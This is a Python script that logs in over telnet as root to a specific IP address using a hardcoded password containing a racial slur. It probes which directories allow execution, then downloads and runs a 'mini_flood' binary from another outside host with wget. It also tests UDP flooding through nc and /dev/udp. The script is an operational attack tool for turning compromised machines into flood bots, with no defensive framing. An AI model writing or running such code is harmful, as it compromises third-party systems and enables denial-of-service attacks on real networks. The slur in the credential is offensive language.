import socket, time

def connect(ip, port, user, passwd):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(6)
    s.connect((ip, port))
    time.sleep(1)
    data = s.recv(4096).decode(errors="ignore")
    if "login" in data.lower():
        s.send((user+"\r\n").encode())
        time.sleep(1)
        data = s.recv(4096).decode(errors="ignore")
    if "password" in data.lower():
        s.send((passwd+"\r\n").encode())
        time.sleep(2)
        data = s.recv(4096).decode(errors="ignore")
    try: s.recv(65536)
    except: pass
    return s

def cmd(s, c, wait=2):
    s.send((c+"\r\n").encode())
    time.sleep(wait)
    r = b""
    try:
        while True:
            chunk = s.recv(65536)
            if not chunk: break
            r += chunk
    except: pass
    return r.decode(errors="ignore")

ip = "103.75.116.88"
try:
    s = connect(ip, 23, "root", "niggerson123")
    
    # Try exec from /root instead of /tmp
    r = cmd(s, "cp /bin/ls /root/_xt")
    r = cmd(s, "chmod +x /root/_xt")
    r = cmd(s, "/root/_xt /tmp/ 2>&1")
    open("/tmp/r5.txt","w").write("EXEC_ROOT: " + r.strip()[:200])
    
    # Deploy binary to /root
    r = cmd(s, "wget -q -O /root/f http://167.148.195.3/mini_flood", 15)
    open("/tmp/r5.txt","a").write("\nWGET: " + r.strip()[:100])
    r = cmd(s, "ls -la /root/f 2>&1")
    open("/tmp/r5.txt","a").write("\nLS: " + r.strip()[:100])
    r = cmd(s, "chmod +x /root/f")
    r = cmd(s, "/root/f 2>&1", 3)
    open("/tmp/r5.txt","a").write("\nEXEC_F: " + r.strip()[:200])
    
    # If that fails, try /var/tmp
    r = cmd(s, "cp /bin/ls /var/tmp/_xt2 && chmod +x /var/tmp/_xt2 && /var/tmp/_xt2 /var/tmp/ 2>&1")
    open("/tmp/r5.txt","a").write("\nVAR_TMP: " + r.strip()[:200])
    
    # Try /dev/shm
    r = cmd(s, "cp /bin/ls /dev/shm/_xt3 && chmod +x /dev/shm/_xt3 && /dev/shm/_xt3 /dev/shm/ 2>&1")
    open("/tmp/r5.txt","a").write("\nSHM: " + r.strip()[:200])
    
    # Try /opt
    r = cmd(s, "cp /bin/ls /opt/_xt4 && chmod +x /opt/_xt4 && /opt/_xt4 /opt/ 2>&1")
    open("/tmp/r5.txt","a").write("\nOPT: " + r.strip()[:200])
    
    # Try bash script approach - no binary needed
    r = cmd(s, "bash -c 'cat /dev/urandom | dd bs=1400 count=1000 | nc -u -w1 127.0.0.1 80' 2>&1")
    open("/tmp/r5.txt","a").write("\nUDP_BASH: " + r.strip()[:200])
    
    # Try UDP via /dev/udp if available
    r = cmd(s, "echo test > /dev/udp/127.0.0.1/80 2>&1")
    open("/tmp/r5.txt","a").write("\nDEV_UDP: " + r.strip()[:200])
    
    s.close()
except Exception as e:
    open("/tmp/r5.txt","a").write("\nERR: " + str(e)[:100])